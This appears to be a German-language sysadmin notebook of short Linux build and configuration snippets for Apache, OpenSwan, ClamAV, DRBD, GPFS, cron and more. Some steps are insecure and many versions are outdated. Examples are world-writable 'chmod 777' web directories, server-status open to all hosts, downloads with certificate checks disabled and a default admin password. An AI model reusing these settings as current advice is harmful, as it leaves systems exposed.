	"wget ftp://ftp.gnu.org/gnu/readline/readline-5.2.tar.gz"
	"tar -xvzf readline-5.2.tar.gz"
	"cd readline-5.2"
	"./configure" oder bei Debian "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib --includedir=/usr/include --enable-multibyte"
	"make"
	"make install"
	
gettetxt (msgfmt):
	"wget ftp://ftp.gnu.org/gnu/gettext/gettext-0.17.tar...
Read More

IBM GPFS

##################################################
Commands

"mmlsfs all" = Zeigt alle Infos zum GPFS an
"mmlscluster"
"mmlsconfig"
"mmgetstate"
"mmgetstate -aLv"
"mmlsnsd"
"mmstartup"
"cat /var/adm/ras/mmfs.log.latest"
"rpm -qa | grep -i gpfs"

Installationpackete
	rpm -U gpfs.base-3.4.0-15.x86_64.update.rpm
	rpm -U gpfs.docs-3.4.0-15.noarch.rpm
	rpm -U gpfs.gpl-3.4.0-15.noarch.rpm
	rpm -U gpfs.msg.en_US-3.4.0-15.noarch...
Read More

APCu für PHP

APCu für PHP 5.6.5

"wget http://pecl.php.net/get/apcu-4.0.7.tgz"
"tar -xf apcu-4.0.7.tgz"
"cd apcu-4.0.7"
"phpize"
"./configure --enable-apcu --with-php-config=/usr/local/bin/php-config"
"make"
"export TEST_PHP_ARGS='-n'"
"make test"
"make install"

"/usr/local/lib/php.ini" -> hinzufügen
	exntension_dir=/usr/local/lib64/extensions/no-debug-zts-20131226/
	extension=apcu.so
	apc.enabled=1
	apc.shm_size=32M
	apc.ttl=7200
	apc.enable_cli=1

"/usr/local/apache2/bin/apachectl stop"
"/usr/local/apache2/bin/apachectl start"
"cp -frv ~/apcu-4.0.7/apc.php /usr/local/apache2/htdocs"
"vi apc.php" ->
	defaults('ADMIN_PASSWORD','Passwort');  
	
Darauf achten das die php.ini auch eingelsen wird ...
Read More

mod_rewrite

Einfaches umleiten 
<VirtualHost *:80>
        RewriteEngine  on
        Redirect / http://www.domain.com/wDeutsch/freiraum
	#######################
        ServerName freiraum.domain.de
</VirtualHost>
Read More

OwnCloud Modifikationen

//Compile Command:
//rm -frv mysql_user_check; clear; g++ -g -Wall -o mysql_user_check mysql_user_check.cpp -L/usr/lib64/mysql -lmysqlclient; ./mysql_user_check;
//rm -frv mysql_user_check;clear; g++ -g -c -O2 -Wall -o sha1.o sha1.c ;g++ -g -c -O2 -Wall -o mysql_user_check.o mysql_user_check.cpp; g++ -Wall -g -o mysql_user_check mysql_user_check.o sha1.o -L/usr/lib64/mysql -lmysqlclient;  ./mysql_user_check;
//quick compile command: g++ -g -c -O2 -Wall -o mysql_user_check.o mysql_user_check.cpp; g++ -Wall -g -o mysql_user_check mysql_user_check.o sha1.o -L/usr/lib64/mysql -lmysqlclient;
//TO DO:
//Wenn nur ein Parameter übergeben wird, Abbruch verhindern...
Read More

GFS2 How To

GFS2 How To

Ist für den Produktiveinsatz besser geeignet als OCFS2 da 
kaputte nodes einfacher den Cluster joinen können.

###############################################################################################
Prererquisits:

nss				via Yast installieren
				http://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/NSS_3_17_RTM/src/nss-3.17-with-nspr-4.10.7.tar.gz
				cp -frv /usr/include/nspr4/* /usr/include/

libqb			siehe Heartbeat Pacemaker Doku.

corosync 2 		siehe Heartbeat Pacemaker Doku.

Nicht unbedingt notwendig
ggf. libcab2
	"wget --no-check-certificate https://www.kernel.org/pub/linux/libs/security/linux-privs/libcap2/libcap-2.24.tar.gz"
	"tar -xzf libcap-2.24.tar.gz"
	"cd libcap-2...
Read More

OpenSwan

Downloaden
“http://www.openswan.org/”

Entapcken
“tar -xvzf openswan-2.4.9.tar.gz”

Dann Kompilieren
“make programs”
und installieren
“make install”

Nun “xterm&” starten. Dann im neuen Fenster “dd if=/dev/random bs=2048 count=1M” ausführen
und auf der Tastatur rumdrücken/rumhämmern. Somit wird das random Device mit Zufallszahlen gefüttert.

Jetzt einen neuen RSA Schlüssel erzeugen.
“ipsec newhostkey –verbose –output /etc/ipsec.secrets –hostname filehunter.domain.corp –bits 2048”

Damit openSwan korrekt läuft müssen einige TCP-Stack Kernel Parameter geändert werden.
“vi /etc/sysctl.conf” und folgendes hinzufügen:
#openSwan config fuer ipsec
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects =0
net.ipv4.conf.eth0.accept_redirects = 0
n...

Read More

iFolder

Basis openSUSE nach Standard

Vorher:
Apache
MySQL
openLDAP (Client )
PHP

Dann
libflaim:
“wget http://software.opensuse.org/search/download?base=openSUSE%3A11.4&file=openSUSE%3A%2F11.4%2Fstandard%2Fx86_64%2Flibflaim-4.9.1046-103.3.x86_64.rpm&query=flaim”
“rpm -iv libflaim-4.9.1046-103.3.x86_64.rpm”
“wget http://software.opensuse.org/search/download?base=openSUSE%3A11.4&file=openSUSE%3A%2F11.4%2Fstandard%2Fx86_64%2Flibflaim-devel-4.9.1046-103.3.x86_64.rpm&query=flaim”
rmp -iv libflaim-devel-4.9.1046-103.3.x86_64.rpm”

log4net:
“wget http://software.opensuse.org/search/download?base=openSUSE%3A11.4&file=openSUSE%3A%2F11.4%2Fstandard%2Fnoarch%2Flog4net-1.2.10-61.1.noarch.rpm&query=log4net”
“rpm -iv log4net-1.2.10-61.1.noarch.rpm”

mono:
“wget http://ftp.novell...

Read More

aMule

“lynx http://www.wxwidgets.or”
“tar -xf wxWidgets-2.8.11.tar.bz2”
“cd wxWidgets-2.8.11”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-sockets –enable-unicode –enable-ipc”
“make”
“make install”
“ldconfig”

“lynx http://www.cryptopp.com/”
“mkdir crypto++”
“mv cryptopp561.zip crypto++”
“cd crypto++”
“unzip cryptopp561.zip”
“cp -frv *.h /usr/include” (–with-crypto-prefix=/usr/include)
“make”
“make install”

Zlib:
siehe Doku

“lynx http://www.amule.org/”
“tar -xf aMule-2.2.6.tar.bz2”
“./configure” oder bei SuSE “...

Read More

apache_2_conf

Apache 2 Installation / Konfiguration unter Suse

0.1

0. APR installieren
“lynx http://apr.apache.org/download.cgi”
“tar -xzf apr-1.4.6.tar.gz
“cd apr-1.4.6”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
-> “rm: cannot remove ‘libtoolT’: No such file or directory”
“libtoolize –force”
“autoconf”
“autoreconf”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

APR Util installieren
“lynx http://apr.apache.org/download.cgi”
“tar -xzf apr-util-1.5.1.tar.gz”
“cd apr-util-1.5.1”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –with-apr=/usr/bin”
“make”
“make install”

1. Download
“lynx http://httpd.apache.org/”

2...

Read More

Extendet Status Anzeige

Erweiterete Statusanzeige. Benötigt “LoadModule status_module modules/mod_status.so”

#Extendet Status Anzeige#########################################################
ExtendedStatus On

<Location /server-status>
SetHandler server-status
Options -Indexes +FollowSymLinks
Order allow,deny
Allow from all
</Location>
#################################################################################

Read More

Favicon

“GET /favicon.ico HTTP/1.1” 401 6

Was ist ein Favicon?

Die meisten Browser können ein kleines Bild in den Bookmarks,
also den Favoriten oder Lesezeichen anzeigen, wenn man die Seite dort hinzufügt.
Das Wort Favicon verdeutlicht dies als Kombination aus Favoriten und Icon.
Grafische Browser wie Mozilla, Firefox, Opera, Konqueror, Safari … zeigen es auch
in der Adressleiste und in Tabs an.

Anforderungen: Dateiformat und Größe

die Standard – Größe eines Favicons ist 16×16 Pixel.
Benutzen Sie ein Bildbearbeitungsprogramm ihrer Wahl, um ein Bild als .ico zu erstellen.
Nicht jedes Programm kann dieses Format schreiben. Das Format 16 mal 16 Pixel sollten Sie
aus Kompatibilitäts- und Speicherplatzgründen verwenden. Sonst ergeben sich hier schon die
ersten P...

Read More

server info header ändern

um die Server Info im Header zu änder
“vi ../http-2.2.11/include/ap_release.h”
und folgendes Editieren

#define AP_SERVER_BASEVENDOR “OpenSolution IT GmbH”
#define AP_SERVER_BASEPROJECT “OS Web Server”
#define AP_SERVER_BASEPRODUCT “OS HTTP Server”

#define AP_SERVER_MAJORVERSION_NUMBER 1
#define AP_SERVER_MINORVERSION_NUMBER 2
#define AP_SERVER_PATCHLEVEL_NUMBER   34
#define AP_SERVER_DEVBUILD_BOOLEAN    5

Read More

SSL Zertifikat erstellen

Step 1: Generate a Private Key

$:openssl genrsa -des3 -out server.key 1024
“openssl genrsa -aes256 -out server.key 8192”

Step 2: Generate a CSR (Certificate Signing Request)

$:openssl req -new -key server.key -out server.csr

Country Name (2 letter code) [GB]:DE
State or Province Name (full name) [Berkshire]:RLP
Locality Name (eg, city) [Newbury]:Worms
Organization Name (eg, company) [My Company Ltd]:Bit-Devil Inc.
Organizational Unit Name (eg, section) []:IT-Hack
Common Name (eg, your name or your server’s hostname) []:bit-devil.dyndns.org  !!!!!Wichtig hier, da die Browser immer die URLs überprüfen.
Email Address []:root@bit-devil.dyndns.org
Please enter the following ‘extra’ attributes
to be sent with your certificate request
A challenge password []: (ni...

Read More

Apache Update

Download von www.apache.org

“tar -xvzf httpd-2.2.6.tar.gz”

“./configure –enable-module=so” -> reicht für PHP support
“./configure –enable-module=all”
“./configure –enable-modules=all –enable-mods-shared=all –enable-ssl”
Es ist darauf zu Achten, das bei einer bestehenden httpd.conf Datei die zusätzlichen Module geladen werden sollten.
######################################################################################
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
LoadModule authn_anon_module modules/mod_authn_anon.so
LoadModule authn_dbd_module modules/mod_authn_dbd.so
LoadModule authn_default_module modules/mod_authn_default.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule a...

Read More

Virtuell Hostheader

Beispieleinstellungen für Virtuell Hostheader in der httpd.conf

#Virtuelle Host Header###########################################################
NameVirtualHost *:80

<VirtualHost *:80>
ServerName filehunter.domain.corp
ServerAlias filehunter.domain.corp
DocumentRoot /usr/local/apache2/htdocs/

<Directory “/usr/local/apache2/htdocs/”>
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</VirtualHost>

<VirtualHost *:80>
ServerName test.domain.corp
ServerAlias test.domain.corp
DocumentRoot /usr/local/apache2/htdocs/v-host-inhalt

<Directory “/usr/local/apache2/htdocs/v-host-inhalt”>
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
#############################...

Read More

virtual host auf anderen port

in “vi /usr/local/apache2/conf/httpd.conf” folgendes einfügen.

#V-Host Einstellungen#######################################
Listen 56479

NameVirtualHost 172.16.190.2:56479

<VirtualHost 172.16.190.2:56479>
#ServerName bit-devil.dyndns.org
#ServerPath /admin-page
DocumentRoot /usr/local/apache2/htdocs/v-host
ErrorLog /usr/local/apache2/logs/v-host_error.log
TransferLog /usr/local/apache2/logs/v-host_access.log
</VirtualHost>

#############################################################

Read More

ARPtables & EBtables

“lynx  http://ebtables.sourceforge.net/”
“wget http://prdownloads.sourceforge.net/ebtables/arptables-v0.0.4.tar.gz?download”
“cd arptables-v0.0.3-3”
Prefix auf /usr im Makefile ändern und Werror rausnehmen
“make”
“mkdir /etc/rc.d/init.d”
“make install”
“rm -frv /etc/rc.d/init.d”

“lynx http://ebtables.sourceforge.net/”
“wget http://downloads.sourceforge.net/ebtables/ebtables-v2.0.10-4.tar.gz?download”
“tar -xvzf ebtables-v2.0.8-2.tar.gz”
Auch hier die Pfade im Makefile entsprechend anpassen. Ab openSUES 12.3 muss -Werror entfernt werden.
“make”
“mkdir /etc/rc.d/init.d”
Bei Debian noch “mkdir /etc/sysconfig”
“make install”
“rm -frv /etc/rc.d/init.d”

Beispiel (der Syntax ist fast genau gleich wie bei IPtables) :
“arptables -A INPUT -s 172.16.190.8 -j DROP”
“ar...

Read More

asterisk an ldap adressbuch verbinden

LDAP installation, siehe LDAP Doku
Asterisk installation, siehe Asterisk, nur jetzt noch mit LDAP features
“wget http://www.digium.com/elqNow/elqRedir.htm?ref=http://downloads.digium.com/pub/telephony/asterisk/asterisk-1.4.21.1.tar.gz”
“tar -xvzf asterisk-1.4.21.1.tar.gz”
“cd asterisk-1.4.21.1”
“./configure” oder bei SuSE und Debian”./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –with-ldap=/usr/local/etc/openldap”
“make”
Sollte vorher bereits eine älter Version installiert sein, so muss das Verzeichnis “rm -frv /usr/lib/asterisk/modules/*” geleert werden.
“make install”
“make samples”         Erstellt eine ganze Reihe von Beispiel Konfigurationen.
“make progdocs”        Erstellt die Dokumentenbasis...

Read More

Hylafax Postfix how to

#Senden und Empfangen von FAXen##############################################################################################################################################################################################################################################################################################################################################################################
Mit Hylafax(Faxserver) und IAXmoden(Faxmodem/Gerät) und WHFC/YajHFC (Faxserver Client).

Eventuel Zlib:
Siehe Zlib Doku

libtiff (hylafax kann nur mit versions 3.4 bis 3.8);
“wget http://www.libtiff.org/”
“tar -xzf tiff-tiff-3.8.2.tar.gz”
“cd tiff-3.8.2”
“./configure” oder bei SuSE “...

Read More

AWstats

Downloaden und entpacken.
Dann das entpackte nach “mkdir /usr/local/awstats” kopieren “mv * /usr/local/awstats”.
Dann die Berechtigung änderne “chown -R daemon:daemon /usr/local/awstats”.
Bevor die Konfog aufgerufen wird “mkdir /etc/awstats” und “chown -R daemon:daemon /etc/awstats”.
Nun backup der httpd.conf Datei.
Dann die Konfig ausführen. “/usr/local/awstats/tools/awstats_configure.pl”.
Jetzt die Konfigdatei anpassen “vi /etc/awstats/awstats.bit-devil.dyndns.org.conf”, gemäß
der Vorlage.
Dann “mkdir /var/lib/awstats” und “chown -R daemon:daemon /var/lib/awstats”.
Jetzt den Loganalyzer starten “/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=bit-devil.dyndns.org”.
Diese dann auch zum cron-Job hinzufügen.

Wenn man Postfix loged dann muss ...

Read More

Bacula

Version bacula-2.2.8 ist noch relativ Fehlerhaft und bring Compiler Errors.

MySQL siehe Docs.

GTK+ Für Debian. Siehe GTK+ Docs.

wxWidgets (–enable-bwx-console):
“wget http://www.wxwidgets.org”
“tar -xvzf wxWidgets-2.8.7.tar.gz”
“cd wxWidgets-2.8.7”
“./configure” oder bei SuSE oder Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-FEATURE=yes”
“make”
“make install”

QT Libs für Debian. Siehe “Qt C++ class library” Docs bzw.

Ruby (dl.so):
“wget http://rubyforge.org/frs/download.php/12682/ruby-1.8.6.tar.gz”
“tar -xvzf ruby-1.8.6.tar.gz”
“cd ruby-1.8.6”
“./configure” oder bei Debian “...

Read More

CPio

CPio(mt)

“wget http://ftp.gnu.org/gnu/cpio/cpio-2.9.tar.gz”
“tar -xvzf cpio-2.9.tar.gz”
“cd cpio-2.9”
“./configure” oder bei Debian “./configure –bindir=/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-mt”
“make”
“make install”

mt bzw. tar:
“tar -czf /dev/nst0 /root/temp” = Speichert “/root/temp” aufs Band.
“tar -tzf /dev/st0” = Zeigt den Inhalt des tar archives an.
“mt -f /dev/nst0 status” = Zeigt Statusinformationen an.
“mt -f /dev/nst0 rewind” = spullt das Band zurück.
“tar -xzf /dev/st0” = Restauiert das komplette Band wieder zurück.
“mt -f /dev/st0 offline” = Spukt das Band aus dem Laufwerk aus.
“scsitape -f /dev/st0 eject” = Spukt das Band aus dem Laufwerk aus.
“time mt -f /dev/st0 erase” = Löscht den Inhalt des Bandes...

Read More

BerkeleyDB

Eventuel vorher TCL und JAVAc installieren

“wget http://download.oracle.com/berkeley-db/db-4.6.21.tar.gz”
“tar -xvzf db-4.6.21.tar.gz”
“cd db-4.6.21/build_unix”
“../dist/configure” oder bei SuSE “../dist/configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-cxx –enable-compat185 –enable-diagnostic –enable-dump185 –enable-java –enable-o_direct –enable-tcl”
bei Debian “../dist/configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-cxx –enable-compat185 –enable-diagnostic –enable-o_direct”
“make”
“make install”

Read More

Bind DNS Server

Downloaden “www.isc.org”

bis Version 9.4 und ab Kernel 2.6.22 funktioniert das cpaset (Kernel Modul Capability) nicht korrekt.
Da es nicht mehr im Kernel zu compilieren geht.
Ab Ver. 9.5 ist es wieder möglich.

Vor Installation darauf Achten das das Capability Modul im Kernel ist.
Desweiteren sollte “libcap” geupdatet werden.
“wget http://www.kernel.org/pub/linux/libs/security/linux-privs/libcap2/libcap-2.10.tar.gz”
“tar -xvzf libcap-2.10.tar.gz”
“cd libcap-2.10”
“make”
“make install”

32 BIT “./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-threads –enable-largefile”
64 BIT “./configure” oder bei SuSE “...

Read More

ClamAV Antivirus

“wget www.clamav.org”

Erst clamav Gruppe und User anlegen.
“groupadd clamav”.
“useradd -g clamav -s /bin/false -c “Clam AntiVirus” clamav”
Dann ClamAV entpacken und standardgemäß installieren.
“wget http://downloads.sourceforge.net/clamav/clamav-0.98.1.tar.gz”
“tar -xzf clamav-0.98.1.tar.gz”
“cd clamav-0.98.1”
32-BIT “./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –sysconfdir=/etc/clamav”
64-BIT “./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –sysconfdir=/etc/clamav” –enable-ltdl-install –enable-bigstack –enable-readdir_r
“mkdir /etc/clamav”
“make”
“make install”
Ab Version 0.97...

Read More

DaZuKo ClamAV on access scanning

download http://dazuko.org/downloads.shtml

tar -xvzf dazuko

./configure

make

make install

Read More

ClamAV Update

Vorher die Upgrade Instructions von www.clamav.org lesen. “lynx http://wiki.clamav.net/Main/UpgradeInstructions”
Version 0.96 – 0.96.4 ist noch nicht reif für den Einsatz. Es gibt Datenbank Probleme.
Oder es muss ein Update der des zlib gemacht werden auf Version 1.2.5 “wget http://zlib.net/zlib-1.2.5.tar.gz”. Installation siehe zlib Doku.
Oder:vorher backup der konfig files
Dann alles was mit clam zu tun hat mit “find ~/temp/ -iname “*clam*” -exec rm -frv {} \;” loeschen
dann alles libz loeschen und neu installieren
“rm -frv /usr/lib/libz.la”

von Zeit zu Zeit zlib und bzip2 updaten, siehe dazu Zlib Doku und PCRE.
Mögliche Fehlermeldung bei nicht aktueller zlib Version:
LibClamAV Error: cli_cvdload: Corrupted CVD header
LibClamAV Error: Can’t load /usr/loca...

Read More

clicq

“wget http://prdownloads.sourceforge.net/clicq/clicq-0.1.tar.gz”
“tar -xvzf clicq-0.1.tar.gz”
“cd clicq-0.1”
“./configure”
“make”
Läßt sich unter SuSE nicht kompilieren

 

Read More

Cluster allgemein

Noch Bilderchen malen für
DRBD
DRBD + Hearbeat(Apache)
NBD + Heatbeat(Raid1 und 5 Share)
GNBD + OCFS2 + Hearbeat
iSCSI(LVM) + OCFS2 + Heartbeat (+ Xen oder VMware(Vbox) + nfs)
ctdb Samba
Veschidene Vor und Nachteile von GFS und OCFS bzw. NBD und GNBD
Harcore Ultra HA Cluster, indem alles und überal doppelt und dreifach vorhanden ist Weltweit übers Netz (VPN). [drbd/iscsi/heartbeat (Speicher Server)-> drbd/ocfs2/iscsi/md0/heartbeat(Anwendungs Server) -> cleint]
High Performance Cluster Mosix/Beowulf
Vergleich iSCSI vs. NBD/GNBD

#Zwei Knoten Cluster mit Hearbeat und DRBD####################################################################################################################
DRBD ist leider nur zu zwei Knoten fähig.

Erstens alle PCs bekannt machen...

Read More

Compiz

Muss noch Überarbeite werden

Nvidia Driver installieren.
wget <linux geforce treiber>
“init 3”
“./nvidia linux treiber”

“vi /etc/X11/xorg.conf” -> wie beschrieben.

“wget http://xorg.freedesktop.org/archive/individual/app/compiz-0.5.2.tar.gz”
“tar .xvzf compiz-0.5.2.tar.gz”
“cd compiz-0.5.2”
“./configure –prefix=/usr –enable-librsvg –enable-gtk && make && make install”

gconf-editor von der Fedora 8 DVD installieren

“gconftool-2 –install-schema-file=plugins/compiz.schemas”
“gconftool-2 –install-schema-file=gtk/window-decorator/gwd.schemas.in”

Read More

Coppermine Photo Gallery

chmod 777 -R cpg1418
chown -R daemon:daemon cpg1418
Neues Datenbank Schema anlegen.
ImageMagic (convert) Pfad “/usr/bin/”
Bei coppermine ImageMagick einstellen anstalle von GD libs.

Das Passwort steht in der “vi ../include/config.inc.php”

Update:
Download der neusten Version.
löschen des “album” Ordners der neuen Version sowie die Dateien
“include/config.inc.php” und “anycontent.php”.
Dann den abgeänderten neuen Ordner in das Coppermine Verzeichnis kopieren (“kopieren & ersetzen”).
nun die “update.php” via Browser starten.
Das ist alles. jetzt eventuell noch die Versionnummern überprüfen.

Read More

Linux Core Utils

“wget http://ftp.gnu.org/gnu/coreutils/coreutils-6.9.tar.gz”
“tar -xvzf coreutils-6.9.tar.gz”
“cd coreutils-6.9”
“./configure” Bei SuSE “./configure –bindir=/bin –sbindir=/sbin  –libdir=/lib –includedir=/usr/include”
“make”
“make install”
Sofern man keine Verzeinise beim “./configure” angegeben hat, muss man noch dirverse Dateien wegkopieren.
“cp -frv /usr/local/bin/* /bin/”

 

Read More

Counter Strike Dedicated Server

“wget  wget http://storefront.steampowered.com/download/hldsupdatetool.bin”
“chmod 777 hldsupdatetool.bin”
“cd /root/cssds”
“./hldsupdatetool.bin”
“./steam -command update -game “Counter-Strike Source” -dir .”
“./steam -command update -game “Counter-Strike Source” -dir .”

Read More

Cron Job

die Schedule Datei von cron muss mit den Attributen 644 ausgestattet sein, sonst gibts diese Fehlermeldung:
“Mar 19 08:55:00 rts /usr/sbin/cron[22489]: (*system*) BAD FILE MODE (/etc/crontab)”. Lösung: “chmod 644 /etc/crontab”

#Syntax Aufteilung###########################
* * * * * auszuführender Befehl
| | | | |
| | | | |
| | | | —– Wochentag (0-7) (Sonntag =0 oder =7)
| | | ——- Monat (1-12)
| | ——— Tag (1-31)
| ———– Stunde (0-23)
————- Minute (0-59)

#M    S   T M W    Befehl
5     *   * * *    /usr/bin/message.sh
*/5   *   * * *    /usr/bin/message.sh
59    23  * * 0    cp /var/log/messages /log/backup/messages
0     0   * * *    cp /var/log/syslog /log/backup/syslog
20,30 1   * * 1-5  /usr/bin/work.sh
##########...

Read More

Dazuko FS

Dazuku wurde eingestellt und durch dazukoFS ersetzt.

“wget http://dazuko.dnsalias.org/files/dazukofs-3.1.1.tar.gz”
“tar -xzf dazukofs-3.1.1.tar.gz”
“cd dazukofs-3.1.1”
“make”
“make dazukofs_install”
“modprobe dazukofs”
testen
“dmesg | grep dazukofs”
“mkdir /root/public/wurzel”
“mount -t dazukofs / /root/public/wurzel
“cd test”
“make”
“./showfiles”

Read More

ddclient

Einen Ordner in “/etc” erstellen “mkdir /etc/ddclient/” und dort die “vi /etc/ddclient/ddclient.conf”
hineinkopieren/erstellen. Das Executable in “cp ddclient /usr/sbin/” kopieren.
Nun ein Start Script erstellen mit “vi /etc/init.d/ddclient_start.sh”.
#################
#!/bin/sh
/usr/sbin/ddclient
#################
Dann im Runlevel Editor im Yast das start Runlevel angeben.

“chmod 0600 /etc/ddclient/”
“mkdir /var/cache/ddclient”

Für den Log muss folgende Zeile in der syslog-ng.config hinzugefügt werden.

## ddclient
destination d_ddclient { file(“/var/log/ddclient.log”); };
filter f_ddclient { program(“^ddclient$”); };
log { source(src); filter(f_ddclient); destination(d_ddclient); };

Read More

DHCPd

Downloaden.
wget http://ftp.isc.org/isc/dhcp/dhcp-4.0.0a3.tar.gz

Aus unerfindlichen Gründen ist der “ls -al /usr/include/arpa/inet.h” Header bei SuSE ab 10.3 irgendwie nicht richtig.
Deshalb die glibc runterladen “wget http://ftp.gnu.org/gnu/glibc/glibc-2.7.tar.gz” und den Header austauschen.
Desweiteren behandelt das Make jede Warung als Fehler (-Werror). Es sollte aus der “vi /root/temp/dhcp-4.0.0/configure” entfernt werden.
Dies steht in Zeile 3336 (STD_CWARNINGS=”$STD_CWARNINGS -Wall -Werror -fno-strict-aliasing”).

Kompilieren und Installieren.
Bei 32-BIT “./configure” oder bei SuSE “...

Read More

Dot Project

Das Passwort steht in der “vi ../includes/config.php”

Erster Login:”The Administrator login has been set to admin with a password of passwd. It is a good idea to change this password when you first log in”

Read More

DRBD (Distributed Replicated Block Device)

“wget http://oss.linbit.com/drbd/8.3/drbd-8.3.0.tar.gz”
“tar -xvzf drbd-8.3.0.tar.gz”
“cd drbd-8.3.0”
“make all”
“make install”

Auf node1 und node2 muss identisch sein:
“vi /etc/drbd.conf” ->
resource r0 {
protocol C;

handlers {
pri-on-incon-degr “echo o > /proc/sysrq-trigger ; halt -f”;
pri-lost-after-sb “echo o > /proc/sysrq-trigger ; halt -f”;
local-io-error “echo o > /proc/sysrq-trigger ; halt -f”;
outdate-peer “/usr/sbin/drbd-peer-autdater”;
}

startup { wfc-timeout 0; degr-wfc-timeout 120; }
disk { on-io-error detach; }
syncer { rate 10M; al-extents 257; }

net {
after-sb-0pri discard-younger-primary;
after-sb-1pri consensus;
after-sb-2pri disconnect;
rr-conflict call-pri-lost;
}

on node1 {
device     /dev/drbd0;
disk       /dev/sdb1;
address   ...

Read More

Firefox

“wget ”
“tar -xvf firefox-2.0.0.11-source.tar.bz2”
“cd mozilla”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-application=browser –disable-crashreporter”
“screen”
“time make”
“make install”
Firefox 2.0.0.11 hat einen bug und läßt sich nicht kompilieren
firefox 3.0.10 stürtzt unter SUSE 11.1 immer ab

Read More

FreeCiv

Donwload

./configure
make
make install

starten als nicht root user

civclient&

Read More

Freemind

Benötigt gcj und gdk

“wget http://freemind.sourceforge.net/wiki/index.php/Download”
“mkdir freemind”
“unzip freemind-bin-max-0_8_1.zip”
“chmod -R 777 *”
“./freemind.sh”

 

Read More

freetype

“wget http://www.freetype.org/”
“tar -xvzf freetype-2.3.7.tar.gz”
“cd freetype-2.3.7”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Read More

GCC

SuSE 10.3 benötig vorher noch  mpfr (Header).
MPFR:
“wget http://www.mpfr.org/mpfr-current/mpfr-2.3.1.tar.gz”
“tar -xvzf mpfr-2.3.1.tar.gz”
“cd mpfr-2.3.1”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Läßt sich unter SuSE 10.2 nicht installieren aber unter Fedora.
“wget ftp://ftp.gwdg.de/pub/misc/gcc/releases/gcc-4.2.2/gcc-4.2.2.tar.gz”
“wget ftp://ftp.gwdg.de/pub/misc/gcc/releases/gcc-4.2.2/gcc-ada-4.2.2.tar.gz” Ohne Ada gibt bei SuSE nur Probleme da GNAT schrott ist
“wget ftp://ftp.gwdg.de/pub/misc/gcc/releases/gcc-4.2.2/gcc-core-4.2.2.tar.gz”
“wget ftp://ftp.gwdg.de/pub/misc/gcc/releases/gcc-4.2.2/gcc-fortran-4.2.2.tar.gz”
“wget ftp://ftp.gwdg...

Read More

GD2 Lib

Wird benötigt von diversen Programmen, wie z.B. php oder mrtg, um Grafiken zu manipulieren.

“wget http://www.libgd.org/releases/gd-2.0.35.tar.gz”
“tar -xvzf gd-2.0.35.tar.gz”
“cd gd-2.0.35”
“./configure” oder bei SuSE und Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Read More

GDB

“wget http://ftp.gnu.org/gnu/gdb/gdb-6.7.1.tar.gz”
“tar -xvzf gdb-6.7.1.tar.gz”
“cd gdb-6.7.1”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-libada –enable-libssp –enable-objc-gc –enable-maintainer-mode –enable-stage1-checking=all –enable-werror”
“make”
“make install”

Read More

GFS / GNBD

Leider läßt sich das ganze unter openSuSE nicht realisieren

libqb:
“lynx https://github.com/asalkeld/libqb/wiki” oder
“wget wget –no-check-certificate https://fedorahosted.org/releases/q/u/quarterback/libqb-0.16.0.tar.gz”
“tar -xzf libqb-0.14.0.tar.gz”
“cd libqb-0.14.0”
Ab 0.16
“./autogen.sh”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make
“make install”

nss:
nss_devel via Yast installieren
oder testweise unter
“wget ftp://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/NSS_3_13_5_RTM/src/nss-3.13.5-with-nspr-4.9.1.tar.gz”
“lynx http://www.mozilla.org/projects/security/pki/nss/buildnss_31.html”
“tar -xzf nss-3.13.5-with-nspr-4.9.1.tar.gz”

corosync:
“lynx https://github.com/fghaas/corosync”
“wget –no-...

Read More

G4L (Ghost 4 Linux)

Backup

Raw Mode:
File Mode:
Server: Server: Erst die Partition mit dem Image manuel mounten “mount /dev/sdb1 /mnt/local”, nun “g4l” starten.
Client: Wichtig das bei “image file to create” der komplette mount Pfad angegeben wird “/mnt/local/img_1.img”.
Restore

Raw Mode:
File Mode:
Server: Erst die Partition mit dem Image manuel mounten “mount /dev/sdb1 /mnt/local”, nun “g4l” starten.
